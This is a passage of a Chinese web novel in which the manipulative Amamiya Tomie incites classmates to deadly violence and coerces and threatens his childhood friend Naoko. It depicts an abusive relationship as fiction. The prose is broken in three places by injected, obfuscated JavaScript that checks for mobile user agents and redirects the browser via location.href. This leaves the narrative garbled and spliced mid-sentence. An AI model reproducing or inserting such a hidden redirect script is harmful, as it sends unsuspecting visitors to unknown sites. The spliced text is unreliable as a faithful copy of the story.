在两人斗嘴的功夫，几位同学结伴走了进来，奈绪子立刻像是被烫到似的后撤一步，低下头，把哭声咽了回去。 这换来了雨宫的一声冷嗤：“真没用啊川濑，刚才态度不是很强硬吗？你这就叫做‘窝里横’吧？” “小声点啊雨宫君。” 他像是一下子变了个人，从她课桌上起身离开，头也没回。 奈绪子想喊住他：“……等等，你去哪儿？” “关你什么事？少管我。” 好吧。 他冷酷的态度引来了其他人的侧目，他们用幸灾乐祸的视线扫视着她，试图从她脸上看出类似于“悔恨”和“恐慌”的神情。 事实上，雨宫似乎只是在外面逛了一圈，奈绪子拿着水杯外出打水的时候，正好撞见他和隔壁班的一位女同学相谈甚欢。 他唇角噙着一抹淡淡的笑，表情说不清楚是不耐烦还是什么，但始终站在原地，听那位女同学说话。 见了奈绪子，他的唇线立刻绷直了，但只是若有似无地轻扫她一眼，就收回了视线。 他没反应，奈绪子就干脆低垂着脑袋，假装自己什么也没看见。身后传来一声冷嗤，不知道是不是对她的反应表示无语。 她大概知道雨宫出来逛着一圈是做了什么事。 因为从走廊里一路走来，她都能听见同学们压抑着狂喜的暗笑： “刚才雨宫君回应我的问好了！” “他主动向我搭了话！” “雨宫君说我今天的发型很好看啊……我这辈子都不会换发型了……” “切！雨宫君的原话明明是说，你的头看起来没旁边那个人那么蠢吧？” …… 雨宫君莫名其妙地跑出来，和年级里的大家主动打了招呼。 奈绪子难以理解他这种举动，不过和其他人打好关系，姑且也算是好事吧……虽说哪怕他不这样做，大家也会对他趋之若鹜。 铃木君像个幽灵似的走过来，与她擦肩而过。 他的刘海又厚又长，发丝下只隐约露出一双阴翳的眼。 因为上学期那件事，直到现在，看见他时奈绪子也不由得感到心虚，因此不自觉的绷直了身体。 他咚的一声把玻璃水杯放到打水台上，回头盯着她，阴冷的视线，让她打了个哆嗦。 “铃木君，你先……打，我一会儿……” 刚转身，她就被人拽着马尾拖得一个趔趄。但还没来得及惊呼，她就感觉小臂被人按住，拉进了一个熟悉的怀抱。 “在这里做什么？” 雨宫没什么情绪的声音从头顶响起，话是对奈绪子说的，视线却紧盯着拽住她马尾的铃木君。 “雨、雨宫君，你听我解释……我……”铃木君连忙松开手，用破铜锣似的沙哑阴沉的嗓音竭力解释。 “没关系。” “我……”他还想辩解，但这时候却被雨宫的回答惊住了，“雨宫君，你说什么？” “你聋了吗？不是说了没关系。”他蹙着眉，不耐烦道，“赶紧滚。” 骂完，他就拽着奈绪子往楼梯间的方向扯。 “以后和我保持点距离，知道吗？否则下回再被打，我可救不了你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828564|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个雨宫富江，忽冷忽热，忽远忽近的。 “我不明白你的意思。” 他朝她走近了两分，垂眼盯着她：“你不知道吗？迄今为止你遭遇的所有糟糕的事，都是因为雨宫富江。无论是被孤立、被谋害，还是别的什么。 “假如再继续纠缠下去，哪天我们可怜的奈绪子酱，就会因为雨宫富江保护不及时，而命丧黄泉。 “如果你还想要活下去的话，那就离我远一点。” 这简直太令人难以置信了。 虽然隐隐感觉这些糟糕事都和雨宫君有关，但这世上哪有这么疯狂的事，因为男友是雨宫君而选择对作为女友的她下手？ 即便……即便她私心里也觉得他的追求者有些疯得过了头。 不过，就算这是真的，不是还有警官吗？ “从今天开始吗？” 雨宫脸上浮现一抹隐忍的不爽，他大概正处于一种“我可以提出要和你保持距离，但你如果真的同意，我就会当场发怒给你看”的微妙状态。 奈绪子只好找补道：“我明白你的意思了，雨宫君。不过吃饭的时间快要到了，我还是……” “你先带着便当上去，等过了五分钟，我再去找你。”他不容拒绝。 好吧，变成过家家了。 在天台等了六七分钟，雨宫才鬼鬼祟祟地走上来，在离她有几步远的一个小墩子上落座。 “雨宫君，你不坐到桌子边吃吗？” 他只丢下四个字：“保持距离。” “……” 这真的有必要吗？ 奈绪子只好把桌上的便当习惯性往他的方向推了推，但被他冷冷阻止：“我们各自吃自己那一份不就好了？” 她悻悻地把手缩回，不过每吃一口，她就要抬起头无言地看他一下。 最后他忍无可忍，狠狠瞪了她一眼：“看什么看？” “今天妈妈准备的便当里有土豆，我不喜欢。” 两人对峙了好一阵子，最后，还是雨宫先败下阵来：“只此一次，不会再有下次了。” 说着，他拉开她对面的椅子落座，把自己的便当放到她面前，抽走了她手里的。 “可是雨宫君，我已经……” 她本想说这份便当她已经吃了，就算不换也没关系，但他已经面色如常地吃了一口。 好吧，既然雨宫大少爷不介意。 他大概是觉得这样遮遮掩掩的保持距离收效甚微。 到了第二天，他干脆地拒绝了奈绪子到天台上吃饭的提议。 “川濑，你已经长大了，不需要雨宫富江总是跟在你身后照顾你，完全可以自己吃饭的吧？” 不要说得她好像离了他就活不下去啊！ “而且，我已经和其他人约好一起吃午餐了。”他话音刚落，陆陆续续有十几位同学抬起头，冰冷的视线落到她脸上。 “川濑，你也觉得我们应该各自交更多的朋友，对吧？” 于是奈绪子度过了有史以来的第一次，明明在学校却没有雨宫陪伴的第一顿午饭。 不过一天过去，同学们对她的态度简直就是一百八十度大转弯。 33.第三十三章 连经过操场时，也有一个不太熟悉的同学拦住她，问：“你就是川濑吧？看上去没什么特别的地方呢。 ”听说你被雨宫君讨厌了啊，真可怜哎。 “雨宫君今天是和我一起吃的午餐哦。你一个人的话，一定很寂寞吧？” …… 不要说得像单独吃饭一样暧昧啊喂。 雨宫君不就是在食堂进行集体聚餐吗？ 遇到一个两个也就算了，但一路走过来，阻拦她然后暗戳戳炫耀的人足足有七八个。 除了尴尬地笑着附和，她想不到什么别的应对方法。 雨宫君这么善变，说不难过绝对是假的，尤其是到了下午，他还丢出了一句冷酷的话： “已经不是国中生了吧？一起回家什么的，实在是太幼稚了。” 说这话的时候，他身后还站着四五个或掩唇偷笑或得意扬眉的同班同学。 奈绪子此刻唯一的想法就是往雨宫那张欠揍的脸来上一拳。 但嘴巴一张，说出的却是卡壳的废话：“……啊？这样吗？的确有道理，反正已经不是国中生了……” 实在是太窝囊了！ 她对此心知肚明，但无法克服这一点。 于是她委委屈屈地背起背包，在众人意味不明的视线里，从教室里走了出去。 走到校门口的时候，她像是有所感应，回头朝教室窗口的方向望了一眼。 雨宫还站在打开的窗子后，不知道是不是在看着她，因为相隔太远，奈绪子看不清楚他的表情。 ……算了。 当天晚上，她的社交账号里就涌入了无数的谩骂和嘲讽，总结起来不外乎这几样： 对她这么多年“得意洋洋”，仗着雨宫君的“宠爱”而“恃宠而骄”的不满； 对她终于失宠而表示的冷嘲热讽和扬眉吐气； 对雨宫君垂怜自己油然而生的高人一等之感。 都挺幼稚的。 奈绪子没把这放在心上，聊天软件一关，干脆眼不见为净。 她试图理解雨宫君。 ……才怪啊，根本无法理解好吗！ 如果腻了的话尽早分手好吗？ 拖着不肯分，又冷落她，这是什么道理？ 她给雨宫发了几条类似于【分手】的消息，但都被他装死似的不再回应。 这种事情也不适合在学校提，但她又找不到独处的机会，于是就这么搁置下来。 奈绪子准备周末的时候去和他说说分手的事。 虽然当不成恋人，但还是可以继续当青梅竹马的。 想着送到雨宫家里的猫砂和猫粮大概消耗得差不多了，她就跑到商业街去，准备买点新的回来。 宠物店的老板娘和奈绪子很熟，见她独自一人，忍不住问：“啊呀，奈绪子是一个人吗？我刚才看到雨宫君了，还以为你们今天也一起出门呢。” “雨宫君？” “是的呀，好像往那个方向去了。” “谢谢姐姐，那我跟上去看看。” 在人流密集的地方寻找雨宫是一件再简单不过的事，不提他那鹤立鸡群的身高，就光是走到哪儿跟到哪儿的视线，以及周围人激动的讨论声，就能轻而易举的找到他的定位。 不过出乎意料，他并非一个人。 他站在人群中心，周围站着四位脸红耳赤的女高中生年纪的少女，此刻正用小心翼翼的、能拉丝的视线偷瞄着他。 “雨宫君，感谢你同意这次的约会……我真是太幸福了，死而无憾……” “我不是在做梦吗……？我现在离雨宫君好近……甚至能闻到雨宫君你身上的香水味呢……” …… 雨宫君好像劈腿了，一劈就劈了四个。 奈绪子在思考自己像电视剧里被绿的丈夫一样扑上去打骂雨宫君的可行性。 ……还是算了，她还是难以接受被人当做猴子围观的感觉。 不过让她就此转身离开，咽下这口气，那也是完全无法做到的事。 她掏出手机，给他打了个电话。 意料之中，铃声刚响起，就被他切断了。 “雨宫君，是谁打的电话啊？” “不会是川濑吧？简直太扫兴了。” “雨宫君喜欢的是川濑那种类型的吗？看上去也没什么好的……” “少管这么多。不是要逛街吗？” 他冷淡的回答刚甩下，几人就老老实实地闭上了嘴巴。 奈绪子气得脸都红了，出轨，还和别人吐槽自己的原配什么的…… 似有所感，雨宫回头看了一眼。 差点就被发现了，好在她及时闪身，躲进了墙后。 她只好拉开距离，远远跟在几人身后，因为手里的猫砂和猫粮太费事，她干脆寄放在了某家熟识的超市里。 雨宫单手插兜，另外一只手则自然下垂放在身侧，因为有位少女靠得很近，远远看去，就像被他搂在怀里一样。 气死了。 好在除了这件事以外，一直到天黑，也没再发生什么让她难以接受的事。 路到某家店前，雨宫脚步一顿：“就在这里吃饭吧。” “啊？今晚吃甜品吗？” 头顶上的匾额写着清清楚楚的几个大字：【春日和甜品店】。 奈绪子气得直发抖：他不仅劈腿，还要带她们去吃她就喜欢的甜品店！ 趁着没人注意，她挑了个角落的位置坐了下来，点了份加双倍巧克力的巴菲。 隔得太远，她听不清他们在聊些什么，不过雨宫还是那副爱答不理的样子。 少女们自讨没趣，没多久，气氛又沉寂下来。 一顿仓促的甜品吃完，雨宫站起身：“时间不早，我就先走了。” 在少女们眷恋的视线中，他主动结账，插兜离去。 头也没回。 奈绪子原本还为今天颇为成功的跟踪沾沾自喜，不过刚踏出甜品店的大门，她就被一只臂膀拎着后颈提了过去。 “跟了我一整天吗？”雨宫微微弯腰，逼视着她，“什么时候你还进修了跟踪的技能呢？” “我、我没有。”她心虚地移开了视线。 他冷哼：“没有吗？说吧，跟踪了一整天，我们奈绪子跟踪到了什么有用的讯息吗？” “……” “不说话吗？”雨宫伸出手，在她后颈处暧昧地摩挲了一下，她打了个激灵，起了一身鸡皮疙瘩。 “没有……” “没什么想问的吗？比如说，今天的约会，什么的。” “可以问吗？”提起这件事情，她就满肚子火，“你出轨了吗？” “问得还真是干脆啊，我们奈绪子。”他低笑一声。 “不是你让我问的吗？是出轨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847407|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没错吧？”她气得牙痒痒，忍不住伸手拉住了他的领口。 “哦，那我们奈绪子要因此离开我吗？”雨宫的声音低沉了两分，明明是他有错在先，此刻却一副完全是他占理的模样。 奈绪子低声尖叫：“这不是废话吗？” “不可以呢。” “啊？” 他笑眯眯地又重复了一遍：“不可以呢。川濑奈绪子，是不能离开雨宫富江的。” 这个混蛋在说什么鬼话。 “今晚就分手！我实在是忍够你了。你以为我是什么绿帽癖吗？” 雨宫一副理所当然的样子：“我们奈绪子怎么能将自己和那群连垃圾都算不上的「老鼠」做对比呢。 “我没有「出轨」，雨宫富江永远都不会「背叛」奈绪子。今天的事情，大约就和出门处理垃圾没有什么两样。你生气了吗？ “那我可以看作是，奈绪子你为我吃醋了吗？” 居然把爱慕他的少女比做“垃圾”，真是一如既往的没品啊这家伙。 她准备骂他两句，但不远处却传来一句小心翼翼的问询： “请问……是雨宫君吗？这么晚了，还没有回去呢。” “有事吗？”他抬手捂住奈绪子的嘴，身体前倾，将她严严实实地挡在黑暗里，“没事的话，就赶紧滚吧。” “……哦，哦，好的雨宫君。请不要生气……”少女锐利的视线扫过来，相当警觉，“那是谁？雨宫君还和川濑在一起吗？” 雨宫君胸膛起伏，似乎深吸了一口气：“我说了，我跟她一点关系都没有，还要问吗？” “啊、啊，哦，是这样吗……” 他的回答言简意赅：“滚。” 少女嗫喏了一阵，才一步一回头磨蹭着离开了，似乎在试图弄清楚，被他藏在怀里的人究竟是谁。 刚说完那种令人误会的话，转头又在别人面前和她撇清关系。 奈绪子气得抬腿踩了他好几脚，他闷哼两声，松开了对她的桎梏。 “奈绪子，你……” 还没说完，她就干脆利落地抬手，给了他一个响亮的耳光。 “雨宫富江，分手吧。还有，你才是垃圾！” 骂完这句话，奈绪子痛快了许多，她转身就走。 这似乎让雨宫富江气得不轻，因为他猛地伸手将她拉了回来，面目狰狞地朝她低吼：“把那句话收回去。” “你以为我在开玩笑吗？”说完，她往他另一边脸上也甩了一个耳光，“好了，这下对称了。滚！” 不知道雨宫是怎么想的，总之，接下来的一段时间，他没再来找她的麻烦。 不过因为是同班同学，甚至还是同班同学，尤其还住在隔壁，见面的机会不能更多。 也不知道是不是故意的，他总带着一大群或陌生或眼熟的同学在奈绪子面前晃悠，以前连别人善意的招呼都懒得应的人，现在还会赏脸偶尔主动与人搭话。 这带来的好处就是，众人放在她身上的目光少了很多，他们开始为占据雨宫的视线而争论不休。 刚开始只是小打小闹的口头争论，或是小打小闹地推搡两下；不过半个月之后，她就听说了男寝因为抢夺雨宫用过的钢笔而拔刀相对。 好在老师及时赶到，将钢笔一分为二，解决了这件事。 奈绪子发觉，雨宫似乎在若有似无地助长这种恶劣事件的发生。 34.第三十四章 比如说，两位男同学为他大打出手时，他分明在场，但他却没有对此进行任何劝阻，反而在旁边煽风点火地留下一句： “战败的「垃圾」，没有资格靠近我哦。” 这句话落下，两只战红了眼的雄鸡更是卯足了劲儿，最后以一方用暖水瓶打破另一方的脑袋而告终。 这场戏应该没让雨宫尽兴，因为他只淡淡地留下一句：“没用的东西。”就在众人的簇拥下迤迤然离开。 也许是察觉到了奈绪子的目光，他的视线透过层层人群，落下看戏的她身上，然后隐隐约约地勾起了点唇角。 ……是在得意吗？ 当天晚上，她就收到了来自雨宫的讯息： 【都发现了吗？】 看似没头没尾的一句话，但奈绪子知道他说的是什么。 【等我把这群「老鼠」清除掉，川濑奈绪子和雨宫富江，就可以永远在一起了。】 【你疯了吧雨宫？】 【是吗？可这是「雨宫富江」能想到的最好的方法了。 【伤害我们奈绪子的话，我会不由自主地感觉到痛苦。 【为了好好地保护奈绪子你，我只能这样做。】 【我看不懂你在说什么。趁着还没有犯下什么大错，你还是干点人事吧。】 别说得像什么亡命夫妻一样啊。 雨宫没有再回复她。 翌日，奈绪子就在教室听说了雨宫正在挑选舞伴的消息。 见她走近，几个同学忍不住上前问她： “喂，川濑，你和雨宫君分手了吧？” 雨宫没在这里，因此同学们问得格外嚣张。 “……大概吧。” 得到这个答案，几人当即露出一副幸灾乐祸的神情：“哦，是这样啊。那简直太好了。” “这么说来，你不会再和我们竞争当雨宫君舞伴的机会吧？” 上川学园有个传统，在临近高三结束时，为了对他们进行鼓励和减轻压力，会举办一次像模像样的舞会。 这么说起来，高中生的时代快要结束了呢。 没等她回答，几人又自顾自抢答道：“不过就算竞争，川濑你也是没有这个机会的。” “知道大家私底下都怎么讨论你吗？” “引诱雨宫君失败的「败犬」。” 他们一边捂嘴偷笑，一边用锐利的视线将她从头到尾打量一番。 这居然是贬义词吗？ 她一点都不想接近现在这个“雨宫君”。 随便怎么样吧。 “这是个形容川濑的不错的词语呢。”雨宫的声音淡淡插入，像一枚石子突然被丢进了平静的湖面，顿时砸开了不小的涟漪。 “诶，是雨宫君呢！” 他倾身插入几人，毫不吝啬地展露一个迷人的微笑：“能作为我舞伴的人，一定会在你们之间。” 奈绪子忍不住用眼神告诫他：喂，你给我适可而止啊！ 他侧眼轻扫她一眼，像挑衅似的，明明没回头，垂在身侧的手却相当精准地在她手心轻画了个圈。 真是恶心死了。 她忍不住起身，疾步往外走。 身后又响起男男女女笑得花枝乱颤的声音，以及雨宫唯恐天下不乱的煽风点火声。 幽深的夜晚，奈绪子像被人压住似的，透不过气。 她拼命深吸了一口气，猛地清醒了过来。 “是我吵醒你了吗？” 奈绪子忍不住抬头看去。 一道颀长的黑影立在她床边，模模糊糊的暗光，勾勒出他挺括隽美的身型，此刻他正低头看着她。 “雨宫君？大半夜的你来这里做什么？等等，”她尖叫，“又是爬窗户进来的吗？” 她决定，一定要找个时间把窗口封死。 他顺势在她床边坐下，语气有点欠揍：“夜里突然有点想念奈绪子你了呢。” “走开啊……”她本想抬手把他推开，但不知道碰到了什么地方，他诡异地闷哼了一声。 透过几缕月光，她看清了雨宫断裂的半截臂膀。伤口处覆盖着密密麻麻的手指长的肉芽，此刻正迎着风口微微舞动。 察觉到她的靠近，它们开始拼命地朝着她的方向伸展。 看错了吗？ 她机械地动了动身体，准备抬手去按床头的台灯。不过还没等有所动作，她的眼睛就被雨宫突然捂住了。 “本来想要和你度过一个完满的高中，但现在看来似乎有点棘手。 “嘛，不过没有关系。我会成为那个赢家，然后一直和奈绪子你纠缠到死的。” “谁会想和你纠缠到死……” 他贴着她的耳侧，用一种情人似的呢喃打断了她的话：“舞会的裙子给你放在桌上了，我们奈绪子要漂漂亮亮地出席哦。” 还没来得及反驳些什么，她就滑入了黑暗里。 如果不是桌上还躺着那个装着礼服裙的漂亮礼盒，她会以为自己是在做梦。 为了表达自己的不满，上学时她有意没有带这条裙子；不过走到半路，她突然就感觉后悔，灰头土脸地跑回了家里，把礼盒捎上。 ……算了，虽然雨宫君很可恶，但终究是雨宫君不是吗。 因为舞会的缘故，上川学园今日装饰得很漂亮。 夜幕降临，穿着各式礼服的少男少女穿梭其中，几乎晃花了人的眼。 奈绪子磨磨蹭蹭地走进更衣室，把那条裙子取了出来。 是非常漂亮的鱼尾裙，洁白的裙身，上面嵌着闪烁的亮片与碎钻。 三围不大不小，正好贴合奈绪子的身材。 站在镜子前，她费力地转身试图把拉链拉上，正苦恼的时候，突然不知道从哪儿伸出来一只手，帮她把拉链拉到了头。 “……谢、谢谢……雨宫君？！你怎么在这里？你疯了？这里可是女更衣室！你这个爱偷窥的变态！” 雨宫笑眯眯地牵着她转了个圈：“这么大一顶帽子扣下来，奈绪子你未免也太武断了吧。很好看呢。和我想象的一样好看。” “你疯了？！赶紧滚出去啊！” 哪怕被退了一把，他也没有生气，是现在她身上扫了一圈：“不过，你是想到京都念大学，对吧？” 她警觉：“……怎么了？” 其实不是京都，而是东京。 “大学也念同一所吧，奈绪子。” 她不由得庆幸自己刚才没说漏嘴，美好的大学生活，可不能被雨宫君彻底毁掉。 说着，雨宫从身后搂抱着她，下巴放在她右肩上，在镜子里观察着她。 奈绪子这才发现，他今天也穿了身白色的西装，乍一看起来，倒是很配。 想到昨晚的事，她的视线不由自主地落到他左臂膀上。 不过看起来完完整整，没有任何怪异的地方。 他迷恋地在她颈间嗅了一口，有那么一秒，奈绪子甚至还感觉有个湿热的物体在他皮肤上舔舐了一下。 “你该不会真的是个变态吧？”她把他的脑袋从肩膀上推开。 “可能是哦。” 走廊上响起此起彼伏的呼唤雨宫君的声音，他这才慢悠悠地站直了身体，倚着门框，最后看她一眼： “奈绪子今天很漂亮呢。不过，我不得不离开了。晚一点，我还会来找你的。” 还是别找了吧。 让她安安静静地一个人待着。 她想不明白雨宫做这种怪异的事情是为了什么。 叮铃铃的铃声响起， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851956|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈绪子提着裙摆踩着中高跟踢踢踏踏地走进礼堂。 雨宫一定站在正中央。 虽然无法通过层层叠叠的人群捕捉到他的身形，但人们狂热的视线不会说谎。 她取了个蛋糕，挑了个角落的位置坐下慢慢吃着。 舞会刚刚开场，就因为雨宫的几个追求者为争夺他首舞的机会大打出手而被迫中断。 他笑吟吟地站在人头间，用冰冷的视线看着这场闹剧：“是谁赢了呢？” 大家都能看得出来他以他们的自相残杀为乐，因此这场打斗愈演愈烈，甚至有人朝身旁的同伴举起了玻璃饮料瓶。 不过在酿成大祸之前，学校里的保安及时到场，拉开了红眼的几人。 ——当然是奈绪子喊来的保安。 利用自己的魅力引诱同学们挥刀什么的，雨宫君简直就是疯了。 雨宫气得不轻，视线透过人群，落在角落的奈绪子身上，刚翘起一点弧度的唇角下压，神情也变得严肃。 她吃准了无论如何雨宫也不会对她怎么样，这就是身为青梅竹马的嚣张感。 为了防止同学们再干出什么可怕的事，校方勒令保安们将礼堂里里外外地围住，一旦出现争执，保安们就会出面干预。 准备了好长一段时间的计划就这么泡汤了，雨宫的脸色铁青一片，五指微微用力，几乎要把手里的高脚杯捏碎。 既然事情解决了，奈绪子就没有继续待在舞会上的理由，她转身离开礼堂，准备找个清凉的地方待会儿。 没有雨宫的操场空荡荡的，她坐在阶梯上，安静地发了一阵子呆。 “奈绪子，你坏了我的好事，转身就走吗？”雨宫咬牙切齿，手按在她头顶，微微用了点力。 “你怎么会在这里？舞会里的其他人呢……”按理来说，他不可能就这么安然无恙地脱身才对。 “当然被我解决掉了。看来奈绪子你还没长大呢，我还得继续收拾你留下的烂摊子。” “这句话应该换我说才对吧。” 雨宫弯腰，单手执住她的手，放在唇边轻吻了一下：“不谈这些了，今天是个特别的日子，要和我跳第一支舞吗？ “因为他们突然打起来，所以我目前还没有和任何人跳过舞。奈绪子你还是第一位哦。” 真是见鬼了，现在谁还有心情跳什么舞啊？ 拒绝的话还没说出口，她就被用力拉起，转了个圈。 熟悉的力道在她腰间捏了捏：“没有我的日子，你似乎还变得胖了一些。真是令人不爽。不过这也正是我们奈绪子的魅力呢…… “就是因为从不把任何人放在眼里，才显得那么有吸引力……” 其实是瘦了点。 但奈绪子没出声反驳。 她不太会跳舞，但连这种三脚猫的舞步也是跟雨宫学的，所以他很熟练地避开了她的所有失误。 气氛正好的时候，她听见他低骂了一句什么：“该死的，怎么挑了个糟糕的地方。” 顺着他的视线望去，只能看见天台上两个影影绰绰的黑色轮廓。 他们互相推搡着，殴打着，纠缠成对贴近了水泥围栏。 奈绪子下意识打了个激灵：“他们疯了？！万一……” “少管这种无关的人。”他牵着她的手，“走吧，我们另外找个安静的地方。” 她抬头盯着他的双眼：“这就是你所谓的‘收拾烂摊子’吗？他们非死不可？” “这都是为了保护奈绪子你……总之，解释起来很复杂，你只当做不知道就够了。” 她气得甩开了他的手，噔噔噔往天台的方向跑，但没跑两步，前方传来一声破空的惊呼，两道人影纠缠着落下，像破塑料袋似的栽倒在地。 咚，咚。 35.第三十五章 接连咚咚两声，雨宫叹了口气，从她身后掩住了她的双眼： “早就说过了哦，让你不要看。” 鲜血迸溅一地，哪怕明明隔得很远，奈绪子都感觉自己能闻到刺鼻的血腥味。 她捂住嘴，躬下身干呕了两下。 随着夜风趟过来一声雨宫浅淡的轻笑，他的手在她弓下的脊背上轻柔地摩挲了下。 “喂，奈绪子，我们回家吧。嗯，假装什么也没发生。” 这怎么可能，死人了啊！ 一双臂膀把她搂进了怀里，在她脊背上温柔地拍了拍，语气相当无奈，就好像她是什么在人工作时突然跳出来打扰人的小猫咪似的： “乖乖睡一觉吧，奈绪子。等醒来之后，就什么也不会记得了。” 奈绪子只感觉后颈一痛，下一秒，就软软地栽倒下去，被接进了一个散发着香味的怀抱里。 —·— 在昨晚的舞会上，班级里的两位男同学因为打架斗殴，从天台上纠缠着坠楼而亡。 奈绪子并不知道这件事，因为舞会进行到一半，她就因为发起高烧被雨宫抱回了川濑家。 她躲在被窝里给川濑美里打电话：“妈妈，我感觉……咳咳，我感觉还好，不需要雨宫君照顾，你还是快点让他离开吧。” 尽管她再三强调自己可以自己走，雨宫还是强硬地用公主抱将她抱上楼。 这之后，他还表现得像个温柔贤夫：“奈绪子饿了吗？我去给你做点粥吧。最近好像很少有这样纯粹的和你待在一起的时间呢…… 不过，等这一切事情顺利解决……” 他的声音越来越低，碎碎念着下楼了。 紧接着，就是菜刀响起的声音。 “诶，奈绪子这是害羞了吧？是吧？前段时间看你们很亲密呢，我就猜出来你们悄悄谈恋爱了。” “……不是的！咳咳咳……”她着急想要辩解，反而因此咳嗽了两声，“早就已经……” 早就分手了！ 再说了，这就是个扮家家酒的游戏，应该……大概……不能当真吧？ “早就已经什么？” 雨宫贴着她的耳侧，笑眯眯地将手伸进她的被窝，从她手里把手机抽了出去。 明明对着话筒回话，冰冷的眼神却紧盯着她：“请放心，美里姐姐，我会好好照顾奈绪子的。” 说完，在奈绪子他就干脆利落地按下了挂断键。 “分手的事，我没有同意呢。奈绪子，不要总是惹我生气。” 呵呵。 什么时候分手还需要同意了？ 见她安静地窝在被窝里，他似乎自顾自地消了大半的火气。 “算了。”他自如地伸手探探她的额头，“似乎还有点烫，先起来喝点姜汤吧。” 奈绪子被一只臂膀扶起，不过看着他那张貌美得不像常人的脸，她发自内心地感觉到惊慌，以及恐惧。 于是她忍不住捂嘴干呕了两下。 “呕……雨宫君，你离我远点……” 这种冒犯的举动让雨宫温和的脸色一点点冷却下来，语气也变得冰冷：“不配合的话，我只好对不听话的奈绪子你用强了。” 话毕，他就一手掐着奈绪子的腮帮子，一手捏着碗，从她嘴里把温热的姜汤整碗灌了下去。 她被灌得难受，根本无法下咽，黏腻的茶水顺着下颌滚下，流了雨宫一手。 奈绪子急得用指甲去抓他，但他像是毫无所觉，一点反应也没有。 一碗姜汤灌完，她的前襟洇湿了一半，呛得满脸通红、呼吸急促。 他这才淡淡缩回手，视线落在手背上沾染的几滴茶汁上，一顿，然后在她惊恐的视线中，将手抵在唇边轻吮了去。 “都喝完了呢。我们奈绪子好乖啊。”他低声夸赞道。 有病。 她气得直骂：“差点就把我呛死了！” “这是惩罚，因为奈绪子你总做让我难过的事。” 她当然不知道自己又是哪里惹了他生气，反正雨宫君总是这么莫名其妙的。 好在他还算是有点良心，主动帮她换了一床新的被子。 “奈绪子的衣服也脏了，需要我帮忙换吗？”他的语气自然得像在问她今天的牛奶需不需要加糖。 她的回答简短而有力：“滚。” “好冷酷的回答，真令人伤心呢。” “请滚出我的房间。” 等她迷迷糊糊地换好衣服走出房门的时候，雨宫居然还没离开。他正在川濑家的开放厨房熬粥。 他身上穿着一件小了好几号的小熊围裙，系带紧紧勒住他的腰，勾勒出他腰部流畅的线条。 他不怎么健身，不过身材保持着一种簿肌的完美状态。 似乎是察觉到了她的注视，雨宫回过头，朝她挑眉露出一个淡笑。 不知道为什么，看到他那张貌美的脸，她就忍不住生起一股反胃感。 “饿了吗？”他装得像个温和的邻家哥哥，“先坐一会儿吧，鸡丝粥很快就熬好了哦。” “不必了，时间不早，雨宫君你还是……” “奈绪子，这样对待客人很不礼貌哦。”川濑美里推门走进，打断了她的话，“面对好心照顾你的雨宫君，应该心怀感激才对。” 雨宫瞥了她一眼，顺势笑吟吟地接话道：“也许只是因为前段时间吵架的事。” “诶，又吵架了吗？感觉这段时间你们闹过的别扭，比以往加起来都要多呢。” 雨宫不紧不慢地轻瞥她一眼，微微垂眸：“是奈绪子觉得我太冷落她，所以……” “是这样吗？奈绪子，不可以无理取闹哦。雨宫君交别的朋友，也是很自然的事。”美里立刻板起脸。 她根本就懒得管他交什么朋友！ “才没有啊！明明是雨宫你……” 话音未落，她垂落在一侧的手就被他攥进手里，他声音低沉几分，语气也似真似假： “没关系哦，无论奈绪子你做什么，都能够得到雨宫富江的原谅。因为你是很特别的，没有奈绪子的世界，就没有了意义。” 嗯？！ 这话从他嘴里说出来，对吗？ 美里立刻被他的“深情”所打动：“所以我说啊，还是青梅竹马的恋情可爱呢。奈绪子你不要再让我们雨宫君伤心了哦。 况且，这么多年下来，我也知道雨宫君是个温柔的人。你可不要对他做什么太过分的事哦。” 雨宫君到底给妈妈下了什么迷魂药？ 奈绪子咬牙切齿地抬起头，正好对上了他微微勾起的唇角。 见美里的身影消失在房间门后，他倾身，贴着她的耳廓，方才的温柔和深情一扫而光，换了副下水道里的蟑螂那种阴狠的语气： “奈绪子，要乖乖听话，知道吗？否则，我不敢保证我不会做一些更过分的事。” 顶着那张脸说这种话，简直太欠揍了。 她没忍住抬起手，往他脸上甩了个耳光。 但还没成功，反而被他紧紧攥住手腕，返身抱进怀里禁锢住，低头在耳侧轻嗅了一口。 “生病的奈绪子，是温热的呢。这样的奈绪子我也喜欢。” 好恶心。 眼前这个恶心的雨宫君，几乎败坏了她从前对竹马积攒的所有好感。 有没有奈绪子的上川学园毫无区别，甚至没人过问她消失的一天去了什么地方，发生了什么。 反观雨宫君，刚坐下，周遭就围上来一群殷切的男女同学： “雨宫君，早上好呀~” “昨天过得怎么样呢？今天看起来气色不错呢。” …… 她往耳朵上塞了两只塞子，埋头开始写试卷。 